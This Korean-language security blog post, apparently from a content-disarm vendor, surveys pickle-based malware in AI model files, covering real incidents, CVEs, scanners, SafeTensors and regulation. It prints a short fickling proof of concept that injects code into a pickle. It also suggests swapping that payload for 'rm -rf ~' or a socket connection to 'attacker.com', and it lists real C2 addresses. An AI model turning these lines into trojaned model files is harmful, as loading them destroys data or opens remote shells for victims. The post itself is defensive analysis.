AI 모델 내재형 멀웨어(MEM) 대응 —
Hugging Face 100개 발견부터 EU AI Act까지

2024년 2월, 보안 기업 JFrog가 세계 최대 AI 모델 허브 Hugging Face에서 100개 이상의 악성 AI 모델을 발견했다고 발표했다^[1]. 발견된 모델 중 일부는 다운로드·로드 시점에 한국 KREONET 망의 C2 서버(210.117.212.93:4242)로 리버스 셸을 연결했다. 이것은 우연의 신호가 아니었다. 이후 2년 동안 Wiz의 인프라 장악 PoC, ReversingLabs의 nullifAI 기법, Rapid7의 VShell 실전 공격 관찰, 2026년 EU AI Act Article 15 발효까지 — Model-embedded Malware(MEM)가 신흥 위협에서 정식 위협으로 진화했다. 이 글은 MEM의 기술 메커니즘, 연도별 실제 사례, CVE, 방어 도구, 규제 프레임, 한국 기업의 보안 간극을 공개 자료 기반으로 정리한다.

MEM의 기술 핵심은 매우 오래된 파이썬 기능인 pickle의 구조적 특성에 있다. pickle은 임의의 파이썬 객체를 바이너리로 직렬화·복원하는 기능으로, AI 모델 저장의 사실상 표준 포맷이 됐다. .pt, .pth, .bin, .pkl 파일이 모두 pickle 기반이다.

Hugging Face 공식 문서의 경고를 그대로 인용하면 — "Pickle is not simply a serialization protocol, it allows more flexibility by giving the ability to users to run python code at de-serialization time. Doesn't sound good, does it?"^[4]

위험 opcode 3가지

pickle 역직렬화 과정에서 특정 opcode가 코드 실행을 허용한다.

• REDUCE — 스택 최상단 함수를 호출. __reduce__ 메서드로 임의 함수 호출 가능
• GLOBAL / STACK_GLOBAL — 임의 파이썬 모듈·클래스 임포트. os.system, subprocess.Popen 등 호출 경로
• BUILD — 커스텀 __setstate__ 실행. 초기화 단계에서 코드 실행

PoC 코드 — Hugging Face 공식 문서가 공개한 예시

이 위험이 이론이 아니라는 점을 명확히 하기 위해 Hugging Face가 직접 공개한 PoC 코드를 살펴보자^[4].

from fickling.pickle import Pickled
import pickle
p = Pickled.load(pickle.dumps("data"))
p.insert_python_exec('print("you\'ve been pwned!")')
with open('payload.pkl', 'wb') as f: p.dump(f)
# 피해자가 pickle.load() 또는 torch.load() 호출 시 임의 코드 실행

코드는 7줄에 불과하다. "you've been pwned!" 출력을 os.system('rm -rf ~')나 socket.connect(('attacker.com', 4444))로 바꾸기만 하면 된다. AI 개발자가 공개 모델을 torch.load()로 로드하는 순간 이 코드가 사용자 권한으로 실행된다.

2024년 2월 — baller423/goober2 (JFrog 발견)

JFrog 보안 연구팀이 Hugging Face에서 악성 PyTorch 모델 baller423/goober2를 발견^[1]. 로드 시 리버스 셸을 연결하는 C2 주소가 210.117.212.93:4242 (한국 KREONET 망)이라는 점이 특히 주목받았다. JFrog는 같은 달 유사 패턴 모델 100개 이상을 식별했다.

"Code execution can happen when loading certain types of ML models from an untrusted source... pickle files can also contain arbitrary code that is executed when the file is loaded." — JFrog, 2024.02.27^[1]

2024년 4월 — Wiz의 Hugging Face 인프라 장악 PoC

클라우드 보안 기업 Wiz가 한 걸음 더 나아간 연구를 공개했다^[5]. 조작된 PyTorch 모델을 Hugging Face에 업로드한 뒤 일반 사용자가 다운로드하면 Wiz가 Hugging Face 전체 인프라의 일부에 접근할 수 있다는 PoC였다.

보안뉴스의 보도 인용 — "피클을 조작해 임의의 코드가 실행되도록 만들면 악성 코드를 올릴 수 있게 되는 것과 다름이 없었습니다."^[6]

2025년 1월 — nullifAI 기법 (ReversingLabs)

2025년 1월 20일 ReversingLabs 연구원 Karlo Zanki는 기존 탐지 도구 Picklescan을 우회하는 nullifAI 기법을 발표했다^[7]. 악성 PyTorch 파일(glockr1/ballr7, who-r-u0000/0000…)이 7z 압축 + broken pickle로 탐지를 우회했다. C2는 107.173.7.141.

"Pickle opcodes are executed as they are encountered, and until all opcodes are executed or a broken instruction is encountered" — 이 특성을 역이용해 악성 opcode 실행 후 의도적으로 broken opcode를 넣어 스캐너 오류 처리에서 벗어났다^[7].

2025년 7월 — Rapid7 VShell 실전 공격

Rapid7이 분석한 사례는 실전 공격이 이미 시작됐음을 보여줬다^[8]. ws.pth, wsc.pth, kcp.pth 파일이 VShell C2 Go ELF 백도어를 다운로드했고, 통신은 Cloudflare Tunnel(molecular-mazda-forests-shop.trycloudflare.com)을 경유해 탐지 우회를 도모했다.

2026년 1월 — Palo Alto Unit 42의 확장 관측

Unit 42는 AI 라이브러리 자체의 RCE 취약점을 광범위하게 분석했다^[9]. "Hugging Face에서 사용되는 100개 이상의 Python 라이브러리 중 약 50개가 Hydra 기반 → 광범위한 공격 표면"이라는 결론. MEM이 특정 파일 포맷을 넘어 AI 생태계 전반의 공급망 문제로 확장되고 있음을 보여줬다.

시기	사례	발견 기관	기술 특성
2024.02	baller423/goober2 외 100개+	JFrog	C2 리버스 셸 (한국 KREONET IP)
2024.04	HF 인프라 장악 PoC	Wiz	플랫폼 전체 접근 가능성 실증
2025.01	glockr1/ballr7 (nullifAI)	ReversingLabs	7z + broken pickle로 스캐너 우회
2025.07	ws.pth / wsc.pth / kcp.pth	Rapid7	VShell Go ELF + Cloudflare Tunnel
2026.01	AI 라이브러리 RCE 확장	Palo Alto Unit 42	Hydra 기반 50+ 라이브러리 공격 표면

"이론적으로 위험하다"가 아니라 "이미 수정된 실제 CVE가 다수 존재한다". 2025~2026년 기준 주요 CVE를 정리한다.

CVE	제품/라이브러리	CVSS	내용
CVE-2025-1550	Keras	-	Lambda 레이어 역직렬화 RCE
CVE-2025-8747	Keras safe_mode	8.8 High	safe_mode 우회, get_file() gadget 악용. Keras 3.0.0–3.10.x 영향, 3.11.0 패치
CVE-2025-23303	NVIDIA NeMo Framework	-	Hydra instantiate 통한 RCE
CVE-2025-23304	NVIDIA NeMo Framework	-	동일 벡터 추가 경로
CVE-2026-22584	Salesforce Uni2TS	-	2025.07.31 패치
GHSA-9pf3-7rrr-x5jh	LMDeploy	-	torch.load() RCE 어드바이저리
GHSA-c9rc-mg46-23w3	Keras	-	CVE-2025-1550 GHSA 알림

Unit 42 보고서의 핵심 문장 — "Threat actors could embed arbitrary code in model metadata, which would automatically execute when vulnerable libraries load these modified models."^[9]

2025년 4월 Hugging Face와 Protect AI가 공동 발표한 6개월 파트너십 리포트는 실제 규모를 보여준다^[2].

• 447만 모델 버전 · 141만 리포지토리 스캔
• 352,000건 unsafe/suspicious 이슈 플래그
• 51,700개 모델이 영향 범위에 포함
• 신규 탐지 모듈 4종 추가: PAIT-ARV-100, PAIT-JOBLIB-101, PAIT-TF-200(SavedModel 백도어), PAIT-LMAFL-300(Llamafile)
• huntr 버그바운티를 통해 200건 이상의 AI 라이브러리 취약점 리포트

Protect AI 리포트의 결론 — "4.47 million unique model versions scanned... 352,000 unsafe/suspicious issues... 51,700 models flagged." 이것은 단편적 사건이 아니라 플랫폼 규모의 구조적 문제임을 보여준다.

MEM 대응의 출발점은 포맷별 위험도 이해다. 주요 5개 포맷을 비교한다^[10].

포맷	RCE 위험	특징
pickle (.pt · .pth · .bin · .pkl)	매우 높음	REDUCE opcode로 임의 코드 실행
Keras H5	높음	Lambda 레이어 역직렬화 취약 (CVE-2025-1550)
TensorFlow SavedModel	중간	그래프 내 op · Lambda로 백도어 가능 (PAIT-TF-200)
ONNX	낮음	그래프 기반, 코드 실행은 구조상 제한적
GGUF (llama.cpp)	낮음	바이너리 포맷, 텐서 중심
SafeTensors	사실상 없음	텐서 데이터만, 코드 역직렬화 불가. Rust 작성, CPU 로딩 100× 빠름

2024~2026년 사이 MEM 전용 방어 도구 생태계가 빠르게 형성됐다. 주요 도구를 정리한다.

Fickling (Trail of Bits)

2025년 9월 업데이트된 allowlist 방식의 pickle 분석 도구. 3,000개 실제 Hugging Face pickle 파일 테스트에서 악성 100% 탐지, 양성 99% 정확 분류 성과 발표^[12]. 사용법도 단순하다:

import fickling.hook
fickling.hook.activate_safe_ml_environment()
# 이후 torch.load() 등이 안전하게 검증된 pickle만 허용

Picklescan (Hugging Face 내장)

Hugging Face가 플랫폼 수준에서 모든 업로드 모델을 스캔하는 도구. ClamAV와 병용. 단, Checkmarx 연구진이 지적한 "우회가 어렵지 않다"는 한계가 있다^[13].

ModelScan (Protect AI)

Picklescan의 포크. eval 등 위험 global 탐지 강화. huntr 버그바운티 프로그램과 연동^[14].

ModelAudit (Promptfoo)

2025년 오픈소스 발표. AI 모델 파일 전용 감사 도구^[15].

PickleBall — 학술 연구

arXiv 2508.15987로 공개된 학술 도구. pickle opcode 시퀀스 분석을 통한 패턴 탐지^[16].

2026년은 AI 보안 규제가 전 세계적으로 실질 발효되는 해다. MEM 위협은 이 규제 논의의 구체적 사례로 자리잡았다.

EU AI Act Article 15 (2026.08.02 발효)

고위험 AI 시스템은 사이버보안 대응이 의무화된다. 명시된 위협 유형에 "model poisoning (compromised pre-trained components)"이 직접 포함됐다^[17].

"Technical solutions should address... data poisoning, model poisoning (compromised pre-trained components), adversarial examples designed to cause AI errors..."

이 조항은 MEM이 규제 명시적 위협으로 공인됐음을 의미한다. EU 역내에서 고위험 AI 시스템을 운영하는 한국 기업은 2026.08부터 이 조항을 준수해야 한다.

KISA "인공지능(AI) 보안 안내서" (2025.12.10 발간, 2026.03 정정판)

한국인터넷진흥원이 공식 발간한 AI 보안 가이드^[18]. MEM 같은 공급망 위협을 명시적으로 다룬다. 공공기관·금융권 AI 도입 시 참조 문서로 활용된다.

국정원 "국가·공공기관 AI보안 가이드북" (2025.12)

국가정보원 발간 가이드북^[19]. 공공기관 AI 프로젝트의 보안 표준을 제시한다. N2SF의 AI 부속 문서로 기능.

한국 AI 기본법 — "인공지능 발전과 신뢰 기반 조성 등에 관한 기본법"

고위험 AI 시스템의 신뢰성 문서화 의무 규정. 공급망 추적(AI-BOM) 개념이 포함된다.

Thales가 2026년 3월 발표한 한국 데이터 위협 보고서는 한국 기업의 AI 보안 현실을 드러낸다^[3].

지표	한국 기업 비율
AI가 최대 데이터 보안 위험	74%
클라우드 공격 경험	67%
자격증명 탈취 경험	78%
딥페이크 공격 경험	60%
AI 허위정보 피해	51%
민감 클라우드 데이터 암호화 미적용	47%
AI 전용 보안 예산 편성	33%만

CDR의 핵심 원리를 다시 상기하자 — "파일 내부의 실행 가능한 콘텐츠를 구조적으로 제거". 이 원리를 AI 모델 파일에 적용하면 자연스러운 대응이 도출된다.

AI 모델 파일은 "비실행형 파일"의 신규 범주

HWP · DOCX · PDF가 사용자의 의도는 "읽기용"이지만 내부에 실행 요소를 포함할 수 있는 것처럼, PyTorch .pt 파일의 사용자 의도는 "텐서 데이터"지만 내부에 pickle 역직렬화 코드 실행 경로를 포함한다. 동일한 구조적 특성이다.

CDR이 AI 모델 파일에 확장될 수 있는 3가지 방향

• pickle → SafeTensors 자동 변환 — 조직 외부에서 들어온 .pt 파일을 사내 배포 전 SafeTensors로 변환. pickle 코드 실행 경로 원천 제거.
• pickle opcode 화이트리스트 검증 — Fickling 방식의 allowlist 검증을 CDR 게이트에 내장
• AI-BOM 생성 — 모델 파일 스캔 시 포함 라이브러리·버전·의존성 자동 BOM화

MEM은 2024년 JFrog의 100개 발견으로 "신흥 위협"이라는 꼬리표가 붙었다. 2년 뒤 2026년 4월 현재, 더 이상 신흥이 아니다. Wiz의 인프라 장악 PoC · ReversingLabs의 nullifAI · Rapid7의 VShell 실전 관측 · Unit 42의 AI 라이브러리 확장 · EU AI Act Art.15 발효 · KISA와 국정원의 공식 가이드 발간. 위협 인식과 규제가 나란히 정비됐다.

남은 것은 조직의 실행이다. 한국 기업 74%가 위험을 인식하지만 33%만 예산을 편성한 현 상황이 구조적 간극이다. SafeTensors 전환, Fickling 도입, AI-BOM 운영 등 실무 도구는 이미 준비되어 있다. CDR의 구조적 접근이 AI 모델 파일 카테고리까지 확장되는 것도 시간 문제다.

공격 원리는 새롭지 않다. "파일 내부에 실행 가능한 콘텐츠가 있으면 위험하다" — HWP 매크로와 pickle REDUCE opcode는 본질적으로 같은 이야기다. 콘텐츠 보안의 원리가 AI 시대에도 그대로 작동하는 이유이자, 시큐레터가 이 카테고리에서 계속 의미를 갖는 이유다.